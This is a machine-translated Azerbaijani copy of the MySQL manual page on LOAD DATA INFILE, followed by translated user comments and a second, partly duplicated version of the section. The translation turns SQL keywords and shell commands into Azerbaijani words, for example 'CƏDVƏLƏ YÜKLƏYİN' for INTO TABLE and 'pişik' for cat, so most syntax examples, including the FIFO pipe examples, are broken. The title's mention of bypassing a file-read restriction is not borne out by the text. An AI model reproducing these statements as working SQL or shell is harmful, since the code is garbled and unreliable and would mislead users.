MySQL Reference Manual. MySQL Fayl Oxuma Məhdudiyyətini aşaraq PHP və MySQL qarşılıqlı əlaqəsi

DATA INFILE "file_name.txt" CƏDVƏLƏ YÜKLƏYİN tbl_name [ ""] TARAFINDAN ƏLAVƏ OLUNUR ] [(col_name,...)]

LOAD DATA INFILE əmri mətn faylından sətirləri oxuyur və onları çox yüksək sürətlə cədvələ daxil edir. LOCAL açar sözü göstərilibsə, fayl müştəri hostundan oxunur. LOCAL göstərilməyibsə, fayl serverdə olmalıdır. (YERLİ seçim MySQL 3.22.6 və sonrakı versiyalarında mövcuddur.)

Əgər oxunacaq mətn faylları serverdə yerləşirsə, təhlükəsizlik baxımından bu fayllar ya verilənlər bazası kataloqunda yerləşməlidir, ya da bütün istifadəçilər tərəfindən oxuna bilən olmalıdır. Bundan əlavə, server fayllarında LOAD DATA INFILE əmrindən istifadə etmək üçün server hostunda FAYL imtiyazlarınız olmalıdır. 4.2.7 MySQL tərəfindən verilən imtiyazlar bölməsinə baxın.

MySQL 3.23.49 və MySQL 4.0.2-də mysqld demonu --local-infile=0 ilə işə salınarsa və ya müştəridə YERLİ dəstəyi aktivləşdirilməyibsə, LOCAL əmri işləməyəcək. Bölmə 4.2.4 YERLİ MƏLUMATLARIN YÜKLƏNMƏSİ Əmrinə aid olan təhlükəsizlik mülahizələrinə baxın.

LOW_PRIORITY açar sözü göstərilibsə, digər müştərilər bu cədvəli oxuyub qurtarana qədər bu LOAD DATA əmrinin icrası gecikəcək.

MyISAM cədvəlləri ilə işləyərkən CONCURRENT açar sözü təyin olunarsa, LOAD DATA əmrinin icrası zamanı digər mövzular cədvəldən məlumatları əldə edə bilər. Cədvəldən eyni vaxtda başqa heç bir başlıq istifadə etməsə belə, bu funksiyadan istifadə, əlbəttə ki, YÜKLƏMƏYƏ MƏLUMATLARA cüzi təsir göstərəcək.

YERLİ seçimdən istifadə edərkən, icra serverin fayllara birbaşa daxil olmasına icazə verməkdən bir qədər yavaş ola bilər, çünki faylın məzmunu müştəri hostundan serverə köçürülməlidir. Digər tərəfdən, bu halda yerli faylları yükləmək üçün FILE imtiyazlarına ehtiyac yoxdur.

Əgər siz MySQL-in 3.23.24-dən əvvəlki versiyalarından istifadə edirsinizsə, LOAD DATA INFILE əmrindən istifadə edərək FIFO-dan oxuya bilməzsiniz. Əgər FIFO-dan oxumaq lazımdırsa (məsələn, gunzip-in standart çıxışı), LOAD DATA LOCAL INFILE-dən istifadə edilməlidir.

Siz həmçinin mysqlimport yardım proqramından istifadə edərək məlumat fayllarını yükləyə bilərsiniz. Bu yardım proqramı serverə LOAD DATA INFILE əmrlərini göndərməklə faylın yüklənməsini həyata keçirir. --local seçimi mysqlimport-un müştəri hostundan məlumat fayllarını oxumasına səbəb olur. Əgər həm müştəri, həm də server məlumatların sıxılma protokolunu dəstəkləyirsə, yavaş şəbəkələrdə daha yaxşı performans əldə etmək üçün --compress seçimini təyin edə bilərsiniz.

Faylların serverdə yerləşdiyi hallarda, sonuncu aşağıdakı qaydalara uyğun hərəkət edir:

  • Əgər fayla mütləq (tam) yol verilirsə, o zaman server bu yoldan heç bir dəyişiklik etmədən istifadə edir.
  • Əgər bir və ya bir neçə ev kataloqu göstərilməklə fayla nisbi yol göstərilibsə, o zaman faylın axtarışı serverin məlumat kataloqunda (datadir) göstərilən qovluqlara nisbətən olacaq.
  • Əgər ev qovluqları göstərilmədən fayla yol verilirsə, o zaman server faylı istifadə olunan verilənlər bazası kataloqunda axtarır.

Buradan belə nəticə çıxır ki, `./myfile.txt" kimi göstərilən fayl serverin məlumat kataloqundan oxunur, "myfile.txt" kimi göstərilən fayl isə istifadə olunan verilənlər bazası kataloqundan oxunur. Məsələn, aşağıdakı DATA YÜKLƏ əmri db1 üçün verilənlər bazası kataloqunda data.txt faylını oxuyur, çünki db1 cari verilənlər bazasıdır, baxmayaraq ki, əmr açıq şəkildə faylı db2 verilənlər bazası cədvəlinə yükləməyi göstəriş verir:

MySQL> İSTİFADƏ db1; mysql> DATA INFILE "data.txt" CƏDVƏLƏ YÜKLƏYİN db2.my_table;

REPLACE və IGNORE açar sözləri mövcud qeydləri eyni unikal açar dəyərləri ilə təkrarlayan giriş qeydlərinin işlənməsinə nəzarət edir. REPLACE göstərilibsə, yeni sətirlər mövcud sətirləri eyni unikal açarla əvəz edəcək. IGNORE təyin etsəniz, mövcud olanlarla eyni unikal açarı olan giriş sətirləri nəzərə alınmayacaq. Heç bir parametr göstərilməyibsə, dublikat açar dəyəri tapıldıqda və mətn faylının qalan hissəsi nəzərə alınmadıqda səhv baş verir.

Əgər verilənlər LOCAL açar sözündən istifadə etməklə lokal fayldan yüklənirsə, o zaman server bu əməliyyatın ortasında məlumat ötürülməsini dayandıra bilməyəcək, ona görə də əmrin standart davranışı IGNORE göstərildiyi zamanki kimidir.

Boş MyISAM cədvəllərində LOAD DATA INFILE-dən istifadə edərkən, bütün qeyri-unikal indekslər ayrıca paketdə yaradılır (REPAIR-da olduğu kimi). Bu, adətən çox sayda indeks olduğu halda LOAD DATA INFILE əməliyyatını xeyli sürətləndirir.

LOAD DATA INFILE əmri SELECT... INTO OUTFILE əmrini tamamlayır. 6.4.1 SELECT ifadəsinin sintaksisi bölməsinə baxın. Verilənlər bazasından fayla məlumat yazmaq üçün SELECT ... INTO OUTFILE istifadə edin. Verilənləri yenidən verilənlər bazasına oxumaq üçün LOAD DATA INFILE-dən istifadə olunur. FIELDS və LINES üçün sintaksis hər iki əmrdə eynidir. Hər iki hissə isteğe bağlıdır, lakin hər ikisi göstərilibsə, FIELDS LINES-dən əvvəl olmalıdır.

SAHƏLƏR göstərilibsə, onda onun hər bir alt ifadəsi ( TERMINATED BY , ECLOSED BY və ESCAPED BY ) də isteğe bağlıdır, lakin onlardan ən azı biri göstərilməlidir.

FIELDS təsdiqi müəyyən edilməyibsə, defolt olaraq onun parametrləri aşağıdakı dəyərləri alacaq:

"\t" TARAFINDAN XİTAM EDİLƏN SAHƏLƏR "" İLƏ ƏLAQƏ EDİLDİ "\\"

LINES bəndi müəyyən edilməyibsə, defolt olaraq aşağıdakı struktura malikdir:

"\n" İSTƏNİLƏN SƏTİRLƏR

Başqa sözlə, standart parametrlərlə, LOAD DATA INFILE əmri, giriş məlumatlarını oxuyarkən aşağıdakı kimi işləyəcək:

  • Sətir sonlarını `\n' simvol kimi axtarın
  • Sətirləri tab simvolları ilə sahələrə ayırın.
  • Sahələrin sitat simvollarına daxil olmasını gözləməyin.
  • Nişanların, yeni sətirlərin və ya əvvəlində `\" olan `\" hərflərini sahənin dəyərinin bir hissəsi olan hərflər kimi şərh edin.

Əksinə, çıxışın yazılması üçün standart parametrlər qüvvədədirsə, SELECT ... INTO OUTFILE əmri aşağıdakı kimi işləyəcək:

  • Sahələr arasında nişan simvolları daxil edin.
  • Sitat işarələri içərisində sahələri əlavə etməyin. Sahə dəyərləri arasında görünən tab, yeni sətir və ya `\" nümunələrindən qaçmaq üçün `\" simvollarından istifadə edin.
  • Hər girişin sonunda yeni sətir simvolları daxil edin.

Nəzərə alın ki, `\" TARAFINDAN ESCAPED SAHƏLƏRİ bir dəyərin tək tərs xətt kimi oxunması üçün iki əks kəsik tələb edir.

İQNORE Nömrə XƏTƏRİ seçimi faylın əvvəlində sütun adlarının başlığına məhəl qoymamaq üçün istifadə edilə bilər:

Mysql> MƏLUMAT INFILE "/tmp/file_name" YÜKLƏYİN CƏDVƏL sınayın 1 SƏTİRİ YOX EDİN;

Verilənləri verilənlər bazasından fayla oxumaq və sonra fayldan verilənlər bazasına geri qayıtmaq üçün LOAD DATA INFILE ilə SELECT ... INTO OUTFILE istifadə edərkən hər iki əmr üçün sahə və sətirlərin işlənməsi variantları uyğun olmalıdır. Əks halda, LOAD DATA INFILE bu faylın məzmununu düzgün şərh edə bilməyəcək. Tutaq ki, SELECT ... INTO OUTFILE əmri sahələr vergüllə ayrılmış fayla yazmaq üçün istifadə olunur:

Mysql> SEÇİN * OUTFILE "data.txt" SAHƏLƏRİ "," İSTƏNİLƏN ... İLƏ SON VERİLƏN;

Mysql> MƏLUMAT INFILE "data.txt" CƏDVƏL Cədvəl 2 "," İLƏ SON OLAN SAHƏLƏRƏ YÜKLƏYİN;

Mysql> MƏLUMAT INFILE "data.txt" CƏDVƏL Cədvəl2 "\t" İLƏ SON VERİLƏN SAHƏLƏRƏ YÜKLƏYİN;

Hər bir giriş xətti ayrıca bir sahə kimi şərh edilsəydi, oxşar nəticə əldə edilə bilər.

LOAD DATA INFILE əmri xarici mənbələrdən faylları oxumaq üçün də istifadə edilə bilər. Məsələn, dBASE verilənlər bazası formatı faylındakı sahələr vergüllə ayrılacaq və cüt dırnaq içərisinə alınacaq. Bu fayldakı sətirlər yeni sətirlərlə bitirsə, o zaman faylı yazmaq üçün aşağıdakı əmrdən istifadə edilə bilər ki, bu da sahələr və sətirləri emal edən parametrləri təsvir edir:

Mysql> MƏLUMAT INFILE "data.txt" CƏDVƏLƏ YÜKLƏYİN tbl_name "," İSTƏNİLƏN """ SƏTİRLƏR İLƏ QAPALANAN "\n" İLƏ SON VERİLƏN SAHƏLƏRİ;

Sahələri və sətirləri idarə edən seçimlərdən hər hansı biri boş sətir ("") ola bilər. Əgər sətir boş deyilsə, o zaman FIELDS LOSED BY və FELDS ESCAPED BY seçimlərinin dəyərlərində bir simvol olmalıdır. TƏRƏFİNƏ SON VERİLƏN SAHƏLƏR və SEÇİM TARAFINDAN SON VERİLƏN SƏTİRLER birdən çox simvol ehtiva edə bilər. Məsələn, ``taşıma qaytarılması - sətir axını'' cütləri ilə bitən sətirləri yazmaq üçün (MS DOS və ya Windows mətn fayllarında olduğu kimi) aşağıdakı ifadəni təyin etməlisiniz: "\r\n" TARAFINDAN SON VERİLƏN SƏTİRLƏR .

CREATE TABLE zarafatları (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, zarafat mətni NOT NULL); DATA INFILE "/tmp/jokes.txt" CƏDVƏL zarafatlarına "" TARAFINDAN XİTAM EDİLƏN SAHƏLƏRƏ YÜKLƏYİN; "\n%%\n" (zarafat);

SAHƏLƏRİ ƏLAVƏ OLAN seçim verilmiş simvollarla əhatə olunmuş sahələri idarə edir. İSTƏYƏNLİ parametr buraxılıbsa, o zaman çıxışda (SEÇ ... INTO OUTFILE) bütün sahələr ENCLOSED BY -də göstərilən simvollara əlavə olunacaq. Belə çıxışın nümunəsi (sahə ayırıcısı kimi vergüldən istifadə edir) aşağıda göstərilmişdir:

"1","sətir","100.20" "2",", , vergüldən ibarət sətir","102.20" "3","\" sitatı olan sətir","102.20" "4"," \", sitat və vergüldən ibarət sətir, "102.20"

OPSİYONEL parametr göstərilibsə, yalnız CHAR və VARCHAR növlərinin sahələri ƏLAVƏ EDİLMİŞ BY-də göstərilən simvolla seçilir:

1,"sətir",100,20 2,", vergül ehtiva edən sətir",102,20 3,"\" sitatı olan sətir",102,20 4,"\", sitat və vergüldən ibarət sətir",102,20

Nəzərə alın ki, ESCAPED BY simvollarından əvvəl ESCAPED BY-dən prefiks tətbiq edilməklə sahə dəyərinin daxilində ENCLOSED BY simvollarının görünüşü qaçırılır. Onu da nəzərə alın ki, ESCAPED BY null olarsa, LOAD DATA INFILE ifadəsinin düzgün oxuya bilməyəcəyi nəticəni yaratmaq mümkündür. Məsələn, qaçış simvolu boş bir sətirdirsə, yuxarıdakı çıxış aşağıda göstərildiyi kimi olacaqdır. Qeyd edək ki, dördüncü sətirdəki ikinci sahədə vergül və ardınca dırnaq işarəsi var ki, bu (səhv olaraq) verilmiş sahəni məhdudlaşdırır:

1,"sətir",100,20 2,", , vergül ehtiva edən sətir",102,20 3,"" sitatdan ibarət sətir",102,20 4, ", sitat və vergüldən ibarət sətir",102,20

Daxil etmək üçün ECLOSED BY simvolu, əgər varsa, sahə dəyərlərinin hər iki ucundan silinir. (İSTƏNİLƏN parametrin göstərilib-göstərilməməsindən asılı olmayaraq, bu doğrudur: girişlə işləyərkən OPSİYONAL parametrə məhəl qoyulmur.) ƏVVƏL EDİLMİŞ BY simvolundan əvvəl ESCAPED BY simvolu ilə rastlaşsanız, o, sahənin cari hissəsinin bir hissəsi kimi şərh edilir. dəyər. Bundan əlavə, sahə daxilində baş verən qoşa ƏLAVƏ EDİLƏN simvollar, sahənin özü həmin simvolla başlayırsa, tək ƏLAVƏ EDİLMİŞ simvollar kimi şərh olunur. Məsələn, ƏLAVƏ EDİLMƏSİ """ göstərilibsə, sitatlar aşağıdakı kimi işlənilir:

""BÖYÜK"" patron" -> "BÖYÜK" patron "BÖYÜK" patron -> "BÖYÜK" patron ""BÖYÜK"" patron -> ""BÖYÜK"" patron

FELDS ESCAPED BY seçimi xüsusi simvolların yazılmasına və ya oxunmasına nəzarət edir. FIELDS ESCAPED BY simvolu boş deyilsə, o, çıxışda aşağıdakı simvollar üçün prefiks kimi istifadə olunur:

  • Simvol İLƏ QAÇILAN SAHƏLƏR
  • Simvol İLƏ QAPALI SAHƏLƏR
  • TƏRƏFİNDƏN XİTAM EDİLƏN SAHƏLƏRİN və XİTƏT EDİLƏN SƏTİRLƏRİN ilk simvolu
  • ASCII simvolu 0 (əslində, ASCII `0" sıfır dəyərli baytdan deyil, qaçış simvolundan sonra yazılır)

Əgər FELDS ESCAPED BY simvolu boşdursa, heç bir simvol qaçırılmır. Əslində, boş bir qaçış simvolu göstərməyin mənası yoxdur, xüsusən də emal olunan məlumatdakı sahə dəyərlərində yuxarıdakı siyahıdakı simvollardan hər hansı biri varsa.

Əgər FIELDS ESCAPED BY simvolu boş deyilsə, daxil edildiyi halda, belə simvolun hadisələri silinir və belə bir hadisədən sonra gələn simvol hərfi mənada sahənin dəyərinin bir hissəsi kimi qəbul edilir. İstisnalar `0" və ya `N" (məsələn, qaçış simvolu `\" olarsa \0 və ya \N" işarələrindən qaçırılır). Bu ardıcıllıqlar ASCII 0 (sıfır dəyəri olan bayt) və NULL kimi şərh edilir. Qaydalara baxın aşağıda null dəyəri idarə etmək. .

`\" qaçış simvolunun sintaksisi haqqında ətraflı məlumat üçün bölmə 6.1.1 Hərfi: Sətirləri və Rəqəmləri Təmsil etmə bölməsinə baxın.

Bəzi hallarda sahə və sıra emal seçimləri qarşılıqlı təsir göstərir:

  • Əgər TERMINATED BY sətirləri boş sətirdirsə və FELDS TERMINATED BY boş olmayan sətirdirsə, o zaman sətirlər də TƏRƏFİNDƏN SON OLAN SAHƏLƏR ilə bitir.
  • Əgər hər iki TƏRƏFİNDƏN SONA VERİLƏN SAHƏLƏR və QAPALI SAHƏLƏR boşdursa (""), onda sabit sətir formatı (bölgəcilər yoxdur) istifadə olunur. Sabit sətir formatı sahələr arasında heç bir ayırıcı təmin etmir. Əvəzində sütun qiymətlərini oxuyarkən və yazarkən sütunların ``çıxışı"" enindən istifadə edilir. Məsələn, bir sütun INT(7) kimi elan edilirsə, bu sütunun dəyərləri 7 simvol genişliyində olan sahələrdən istifadə etməklə yazılır. Bu sütun üçün giriş dəyərləri 7 simvolu oxumaqla əldə edilir. Sabit sətir formatı NULL dəyərlərinin idarə edilməsinə də təsir göstərir (aşağıya bax). Qeyd edək ki, çoxbaytlı simvol dəstindən istifadə edərkən sabit ölçülü format işləməyəcək.

NULL dəyərləri istifadə olunan FIELDS və LINES seçimlərindən asılı olaraq fərqli şəkildə idarə olunacaq:

  • Defolt FIELDS və LINES dəyərləri üçün NULL çıxışda \N kimi yazılır və \N girişdə NULL kimi oxunur (ESCAPED BY simvolunun `\" olduğunu nəzərə alaraq).
  • Əgər FIELDS CLOSED BY boş deyilsə, dəyəri NULL hərflərdən ibarət olan sahə NULL dəyər kimi oxunur (" NULL " sətri kimi oxunan FELDS BY simvolları arasında NULL sözdən fərqli olaraq).
  • FIELDS ESCAPED BY boşdursa, NULL NULL sözü kimi yazılır.
  • Sabit sətir formatında (hər iki TƏRƏFİNDƏN SONLANDIRILAN SAHƏLƏR və spesifikatorlar TARAFINDAN QAPALI SAHƏLƏR boş olduqda baş verir) boş sətir kimi NULL yazılır. Nəzərə alın ki, nəticədə bu cədvəldəki NULL dəyəri və boş sətir fayla yazıldığında bir-birindən fərqlənməyəcək, çünki onların hər ikisi boş sətirlər kimi yazılır. Fayl yenidən oxunarkən bu dəyərlərin fərqli olmasını istəyirsinizsə, sabit sətir formatından istifadə etməməlisiniz.

Bəzi hallar LOAD DATA INFILE bəyanatı tərəfindən dəstəklənmir:

  • Sabit ölçülü sətirlər (SON VERİLƏN SAHƏLƏR və TƏRƏFİNDƏN BAĞLANAN SAHƏLƏR hər ikisi boşdur) və BLOB və ya MƏTN sütunları.
  • Əgər ayırıcı digərinə uyğun gələn və ya prefiksdirsə, LOAD DATA INFILE daxiletməni düzgün şərh edə bilməyəcək. Məsələn, aşağıdakı FELDS ifadəsi problemlər yaradacaq: """ TARAFINDAN XİTAM EDİLƏN SAHƏLƏR """
  • Əgər FIELDS ESCAPED BY seçimi boşdursa, o zaman sahə dəyərində QAPALI SAHƏLƏR və ya XATLAR TARAFINDAN SON VERİLƏN SƏTİR simvolunun ardınca FELDS TARAFINDAN SON VERİLƏN simvolun meydana çıxması LOAD DATA INFILE əmrinin sahənin və ya sətirin oxunmasını vaxtından əvvəl bitirməsinə səbəb olacaq. Bunun səbəbi, LOAD DATA INFILE-nin sahənin və ya xəttin harada bitdiyini düzgün müəyyən edə bilməməsidir.

Aşağıdakı nümunə şəxsi məlumatlar cədvəlinin bütün sütunlarını yükləyir:

Mysql> MƏLUMAT INFILE "persondata.txt" CƏDVƏL şəxsi məlumatı YÜKLƏYİN;

Sahələrin siyahısı göstərilməyib, ona görə də LOAD DATA INFILE əmri cədvəlin hər bir sütununu doldurmaq üçün giriş sətirlərini gözləyir. Bu, standart FIELDS və LINES dəyərlərindən istifadə edir.

Cədvəlin yalnız bəzi sütunlarını yükləmək istəyirsinizsə, sütunların siyahısını göstərməlisiniz:

Mysql> MƏLUMAT INFILE "persondata.txt" CƏDVƏL şəxsi məlumatı YÜKLƏYİN (col1,col2,...);

Daxiletmə faylında sahələrin sırası verilmiş cədvəldəki sütunların ardıcıllığından fərqli olduğu hallarda da sahələrin siyahısı göstərilməlidir. Əks halda, MySQL giriş sahələrini cədvəl sütunlarına uyğunlaşdıra bilməyəcək.

Əgər sətirdə çox az sahə varsa, o zaman giriş faylında sahələr olmayan sütunlar öz standart dəyərlərinə təyin edilir. Standart dəyərlərin təyin edilməsi CREATE TABLE ifadəsinin 6.5.3 Sintaksis bölməsində təsvir edilmişdir.

Boş sahənin dəyəri dəyərin olmamasından fərqli şərh olunur:

  • Sətir növləri üçün sütun boş sətirə təyin edilir.
  • Rəqəmli növlər üçün sütun 0-a təyin edilir.
  • Tarix və vaxt növləri üçün sütun həmin növ üçün müvafiq dəyər olan ``sıfır"a təyin edilir. Bölmə 6.2.2 Tarix və Saat Məlumat Növlərinə baxın.

Qeyd edək ki, bunlar INSERT və ya UPDATE bəyanatında sətir, rəqəm və ya tarix və ya vaxt növlərinin sütunlarına açıq şəkildə boş sətir təyin etməklə sütunda bitəcək eyni dəyərlərdir.

ZAMAN BAYRAĞI sütunları yalnız sütun NULL olaraq təyin olunduqda və ya (yalnız ilk ZAMAN BAYRAĞI sütunu üçün) əgər belə bir siyahı göstərilibsə, ZAMAN BAYRAMI sütunu sahə siyahısından kənarda olarsa, cari tarix və ya vaxta təyin edilir.

Əgər giriş sətirində həddən artıq sahə varsa, əlavə sahələr nəzərə alınmır və xəbərdarlıqların sayı artacaq.

LOAD DATA INFILE əmri bütün daxil edilən məlumatları sətirlər kimi şərh edir, ona görə də siz INSERT əmrləri ilə eyni şəkildə ENUM və ya SET sütunları üçün rəqəmli dəyərləri təyin edə bilməzsiniz. Bütün ENUM və SET dəyərləri sətir kimi göstərilməlidir!

C API-dən istifadə edərkən siz LOAD DATA INFILE sorğusunun sonunda mysql_info() API funksiyasına zəng etməklə sorğu haqqında məlumat əldə edə bilərsiniz. Aşağıda bu iş üçün məlumat xəttinin formatı göstərilir:

Qeydlər: 1 Silindi: 0 Keçildi: 0 Xəbərdarlıqlar: 0

Xəbərdarlıqlar INSERT əmri ilə dəyərlər yazarkən olduğu kimi eyni hallarda verilir (bax bölmə 6.4.3 INSERT Statement sintaksis), istisna olmaqla, LOAD DATA INFILE əmri əlavə olaraq girişdə çox az və ya çox sahə olduqda xəbərdarlıq yaradır. simli. Xəbərdarlıqlar heç bir yerdə saxlanmır; xəbərdarlıqların sayı yalnız göstərilən hərəkətlərin normal şəkildə yerinə yetirildiyini yoxlamaq üçün istifadə edilə bilər. Xəbərdarlıqların nəyə səbəb olduğunu dəqiq bilmək istəyirsinizsə, onda siz ... INTO OUTFILE-i başqa fayla SEÇməlisiniz və nəticəni orijinal daxiletmə faylı ilə müqayisə etməlisiniz - bu, bu məlumatı əldə etməyin yeganə yoludur.

Borudan oxumaq üçün DATA YÜKLƏMƏ ehtiyacınız varsa, aşağıdakı hiylədən istifadə edə bilərsiniz:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "MƏLUMAT INFILE "x" CƏDVƏLƏ YÜKLƏ" x" x

MySQL-in 3.23.25-dən köhnə versiyasından istifadə edərkən yuxarıda göstərilənlər yalnız LOAD DATA LOCAL INFILE ilə edilə bilər.

INSERT-in LOAD DATA INFILE-ə qarşı səmərəliliyi və LOAD DATA INFILE-nin sürət artımı haqqında daha çox məlumat üçün INSERT Sorğunun İcra Sürəti bölməsinə baxın 5.2.9.

İstifadəçi şərhləri

Jason Titus tərəfindən göndərildi[Sil][Redaktə et]

“Xəbərdarlıqlar heç bir yerdə saxlanmır, xəbərdarlıqların sayı yalnız bir kimi istifadə edilə bilər
hər şeyin yaxşı getdiyinə işarə"

Sən mənimlə zarafat etməlisən. Bu bir növ DBA cəzası kimi edilirmi? yəni. - Biz
Problemlərin nə olduğunu BİLİN, ancaq siz yalnız bir çıxış faylı yaratmalı və nəzərdən keçirməli olacaqsınız
onları tapmaq üçün milyonlarla qeydiniz var". MySQL bunları səhvlər jurnalına qoymurmu?
onlar hara aiddir? Davam edin və bunu bir seçim edin, lakin bu, etmək üçün kifayət qədər problemdir
Mən Oracle-a qayıdıram (və bu çox tələb edir).

Campbell tərəfindən 17 May 2002-ci il, Cümə günü, @6:24am tərəfindən göndərildi[Sil][Redaktə et]

İkincisi. (!) Mən başa düşmürəm necəsən
o cümləni düz üzlə yazın.

Jonathon Padfield tərəfindən 17 may 2002-ci il, Cümə günü, @6:24am tərəfindən göndərildi[Sil][Redaktə et]

Həmçinin, hansı sətirlərin atlandığı barədə məlumat yoxdur
bəxş edilmiş.

17 may 2002-ci il, cümə günü, @6:24am tərəfindən göndərilib[Sil][Redaktə et]

Bu xüsusiyyət təqdim edərkən çox faydalıdır
Veb səhifəsindən INSERT. İstifadəçi vurursa
ilə nəticələnən forma məlumatlarını təzələyin və təkrar yerləşdirin
eyni ilkin əsas məlumatların sonrakı INSERT,
bum, proqram pozulur. Bu yolla istifadəçi edə bilər
üzləri mavi olana qədər F5 düyməsini basın və onlar
REPLACE ifadəsini pozmayacaq.

[Sil][Redaktə et]

Mənim c:\mysql\data-da MyDB qovluğum var
Mən orada Data.txt və icra edərkən yerləşdirirəm
DATA YERLİ INFILE "Data.txt" CƏDVƏLƏ YÜKLƏYİN
MyTable deyir: Komanda uğurla icra olundu
lakin MyTable-a NO dəyər əlavə olunmur.
Mən W2K altındayam

Van Hoof philip tərəfindən 17 may 2002-ci il, cümə günü, @6:24am tərəfindən göndərildi[Sil][Redaktə et]

Mən verilənlər bazamı başqası ilə sinxronlaşdırmaq istəyirəm
vaxtaşırı verilənlər bazası. Bu o deməkdir ki, İ
REPLACE şeyindən istifadə etməli olacaq. Amma nə haqqında
daha yenisində excist olmayan qeydlər
verilənlər bazası. Onlar MySQL-də silinəcəkmi?
Bunları avtomatik silməyin bir yolu varmı? Ya da
MySQL cədvəlimi atıb yenidən yaratmaq üçün yeganə həll
Mən onu YÜKLƏMƏYƏ başlamazdan əvvəl. Mən crontab istifadə edirəm
Bu əməliyyat üçün skriptlər var, buna görə insan qarşılıqlı əlaqəsi yoxdur
bu əməliyyatlar zamanı mümkündür.

17 may 2002-ci il, cümə günü, @6:24am tərəfindən göndərilib[Sil][Redaktə et]

Sənədlərdə nə olduğu aydın deyil
bu sahədə "unikal" açar/indeks təşkil edir. O
"insert"-ə istinad edir, lakin daxil etmir
belə bir məhdudiyyət var. Mən bunu ilkin olaraq tapdım
düymələr kifayət qədər unikaldır, lakin mən "əlavə etməli oldum
Onları istəmədiyim ibtidai seçkilər.Bəlkə də mən
bir şey çatışmır....

17 may 2002-ci il, cümə günü, @6:24am tərəfindən göndərilib[Sil][Redaktə et]

Biri olduğu zaman xəbərdarlıq almaq çox sinir bozucudur
MySQL verilənlər bazasına məlumatların idxalı
xəbərdarlıqlarla bağlı istənilən məlumatı əldə edə bilir.
MySQL həqiqətən edəcək bir xüsusiyyət əlavə etməlidir
xəbərdarlığın nə HAQQINDA olduğunu bildirin
xəbərdarlıq bildirin. İdeal olaraq haqqında məlumat
dərhal xəbərdarlıq edilməlidir. At
ən azı bir növ səhv jurnalı olmalıdır
istifadəçinin daxil ola biləcəyi yaradılmışdır.

17 may 2002-ci il, cümə günü, @6:24am tərəfindən göndərilib[Sil][Redaktə et]

"F5 onların üzləri mavi olana qədər" mövzusunda...

Bu tətbiqdə həll edilməlidir. O
Istifadəçiyə "Sən" deməyin qətiyyən zərər verməz
artıq bura daxil olub. Zəhmət olmasa təzələməyi dayandırın."

Əslində həddindən artıq səbirsizlərin sayına görə
Orada itirənlər, bu xüsusilə bir kimi görünür
yaxşı fikir.

Larry Irwin tərəfindən 20 avqust 2002-ci il, @11:50-də yazıldı[Sil][Redaktə et]

Əlavə variantın olması çox faydalı olardı
yükləmə zamanı "MADDİYYƏTLƏRİ YOX EDİN"
proses.

Cümə axşamı, 5 sentyabr 2002-ci il, @1:34am tərəfindən göndərilib[Sil][Redaktə et]

Boş MyISAM masasında "bütün" ilə bir tutma var
qeyri-unikal indekslər ayrıca topluda yaradılır"
istifadə mexanizmi bir "ilə təmir olduğundan
keycache". Əgər çoxunuz varsa, çox yavaş ola bilər
indekslər. Bunun üçün mexanizmdən həqiqətən istifadə etmək lazımdır
düymələrin yaradılmasını dayandırın və sonra ilə təmir edin
myisamchk-də təsvir edildiyi kimi "çeşidlə təmir" istifadə edərək
bölmə 5.2.9 (əgər onu işə sala bilsəniz:-()

9 oktyabr 2002-ci il, @12:43pm tərəfindən göndərilib[

Sintaksis LOAD DATA INFILE

DATA INFILE YÜKLƏ" fayl adı. txt" CƏDVƏLƏ masa_adı
[ƏLAVƏ OLUNUR”]
]
]
[(sütun_adı,...)]
LOAD DATA INFILE bəyanatı mətn faylından sətirləri oxuyur və onları çox yüksək sürətlə cədvələ yükləyir.
Siz həmçinin mysql import yardım proqramından istifadə edərək məlumat fayllarını yükləyə bilərsiniz. O, serverə LOAD data INFILE bəyanatı göndərməklə işləyir. --local seçimi mysqlimport yardım proqramının müştəri hostundan məlumat faylını oxumasına səbəb olur. Əgər müştəri və server sıxılmış protokolu dəstəkləyirsə, yavaş şəbəkələrdə performansı yaxşılaşdırmaq üçün -compress seçimini təyin edə bilərsiniz.
LOW_PRIORITY açar sözü göstərilibsə, LOAD DATA bəyanatının icrası bütün digər müştərilər oxuyub qurtarana qədər gecikir.
Əgər CONCURRENT açar sözü paralel əlavələr şərtini ödəyən MyISAM cədvəli ilə göstərilibsə (yəni, faylın ortasında boş bloklar yoxdur), onda digər mövzular eyni zamanda cədvəldən verilənləri əldə edə biləcəklər. LOAD DATA icra edilir. Bu seçimdən istifadə, bu cədvəllə başqa heç bir başlıq işləməsə belə, YÜKLƏMƏ MƏLUMATLARINA cüzi performansa təsir edir.
LOCAL açar sözü göstərilibsə, o, əlaqənin müştəri tərəfinə aiddir.

  1. LOCAL sözü göstərilibsə, fayl müştərinin hostunda olan müştəri proqramı tərəfindən oxunur və serverə göndərilir.
  2. LOCAL söz göstərilməyibsə, yüklənmiş fayl serverin hostunda yerləşməlidir və birbaşa server tərəfindən oxunur.

LOCAL MySQL 3.22.6 və sonrakı versiyalarda mövcuddur.
Təhlükəsizliyə görə, serverdə yerləşən mətn fayllarını oxuyarkən, fayllar ya verilənlər qovluğunda olmalı, ya da hamı tərəfindən oxuna bilən olmalıdır. Həmçinin, LOAD DATA-dan server faylları ilə istifadə etmək üçün siz FILE imtiyazına malik olmalısınız.
LOCAL seçimi ilə yükləmə, serverə yüklənmiş fayllara birbaşa daxil olmaq imkanı verdiyiniz zamandan bir qədər yavaş olur, çünki bu halda faylların məzmunu sağ bağlantıda olan müştəri-server vasitəsilə şəbəkə üzərindən ötürülür. Digər tərəfdən, bu halda FILE imtiyazlarına ehtiyacınız yoxdur.
MySQL 3.23.49 və MySQL 4.0.2 (Windows-da 4.0.13) ilə başlayaraq LOCAL yalnız həm müştəri, həm də server icazə verdiyi halda işləyir. Məsələn, mysqld -local-inf ile=0 seçimi ilə işə salınıbsa, LOCAL işləməyəcək.

Əgər proqram borusundan oxumaq üçün LOAD DATA-dan istifadə etməlisinizsə, aşağıdakı texnikadan istifadə edə bilərsiniz:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
pişik< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "MƏLUMAT INFILE "x1-i CƏDVƏL x YÜKLƏ" x
Əgər siz MySQL-in 3.23.25-dən əvvəlki versiyasını işlədirsinizsə, bu texnika yalnız LOAD DATA LOCAL INFILE ilə istifadə edilə bilər.
